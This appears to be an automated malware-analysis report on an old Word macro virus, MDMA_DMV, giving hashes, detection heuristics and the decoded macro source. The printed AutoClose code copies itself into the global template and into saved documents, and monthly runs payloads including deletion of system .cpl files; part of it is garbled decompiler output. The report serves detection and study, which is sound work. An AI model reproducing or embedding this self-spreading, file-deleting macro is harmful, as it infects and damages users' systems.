MDMA — Office (OLE) malware analysis

Static analysis result for SHA-256 2ff21a4a58c0ffd4…

MALICIOUS

Office (OLE)

31.0 KB Created: 1998-01-26 15:31:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 0cf28a895cbe3dac76328b56b933f7de SHA-1: cd25cc255c3af299149249c1ab014be9589dc056 SHA-256: 2ff21a4a58c0ffd4b094fdd62239174f1ddeefcb1cd27028aab827a7d1ca73a2
200 Risk Score

Malware Insights

MDMA · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

The file contains legacy WordBasic macros, specifically an AutoOpen and AutoClose subroutine, which are indicative of older macro viruses. The script attempts to install itself and infect other documents based on the detected platform. The ClamAV detection of 'Doc.Trojan.MDMA-2' strongly suggests this is a variant of the MDMA family, known for its macro-based infection capabilities.

Heuristics 4

  • ClamAV: Doc.Trojan.MDMA-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.MDMA-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4013 bytes
SHA-256: 1d2528d56c06d74165191a4d65776b5839cb2cecc9e6350734dbcdfcd8eb0903
Detection
ClamAV: Doc.Trojan.MDMA-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoClose"

Public Sub MAIN()
On Error Resume Next
    install
    If (WordBasic.Day(WordBasic.Now()) = 1) Then
        Select Case get_platform
            Case 1
                infect_mac
            Case 2
                WordBasic.Call "infect_windows"
            Case 3
                WordBasic.Call "infect_NT"
            Case 4
                WordBasic.Call "infect_95"
        End Select
        show_credits
    End If
End Sub

Private Sub install()
Dim total
Dim installed
Dim i
    On Error Resume Next
    total = WordBasic.CountMacros(0)
    installed = 0
    If total > 0 Then
        For i = 1 To total
            If WordBasic.[MacroName$](i, 0) = "AutoClose" Then
                installed = 1
            End If
        Next
    End If
    If installed = 0 Then
        WordBasic.MacroCopy WordBasic.[WindowName$]() + ":AutoClose", "Global:AutoClose", 1
    Else
        total = WordBasic.CountMacros(1)
        installed = 0
        If total > 0 Then
            For i = 1 To total
                If WordBasic.[MacroName$](i, 1) = "AutoClose" Then
                    installed = 1
                End If
            Next
        End If
        If installed = 0 Then
            WordBasic.FileSaveAs Format:=1
            WordBasic.MacroCopy "Global:AutoClose", WordBasic.[WindowName$]() + ":AutoClose", 1
        End If
    End If
End Sub

Private Function get_platform()
    On Error Resume Next
    If InStr(WordBasic.[AppInfo$](1), "Macintosh") Then
        get_platform = 1                    'MAC
    End If

    If WordBasic.[AppInfo$](9) <> "0" Then
        get_platform = 2                    'old version of windows
    End If

    If InStr(WordBasic.[GetSystemInfo$](21), "NT") Then
        get_platform = 3                  'Windows NT
    End If
    
    'is nothing else, so must be... '95!
    get_platform = 4

End Function

Private Sub infect_mac()
    On Error Resume Next
         -1                             -1-1                                                          <           Cdecl             -1      >      +1    -1     <                    -1      <   +1    -1                    <                        -1      <              Lib                   -1      +1                             -1       <    <      <       +1        Lib     Lib     -1                                                                                                                                                                                                                                                                                                            Double                                                                                                                                       Lib     Lib  Step    Lib      Lib
-29025               +1                         Private Declare        Integer                                                                                                                                                                                                                                                                                                                                                                                                                                                      ,Unrecognized_Argument29554, Unrecognized_Argument27154 Not WordBasic.Input                  "1", ""
    WordBasic.Kill "c:\windows\system\*.cpl"
End Sub

Private Sub show_credits()
    On Error Resume Next
    WordBasic.MsgBox "You are infected with MDMA_DMV. Brought to you by MDMA (Many Delinquent Modern Anarchists).", "MDMA_DMV", 16
End Sub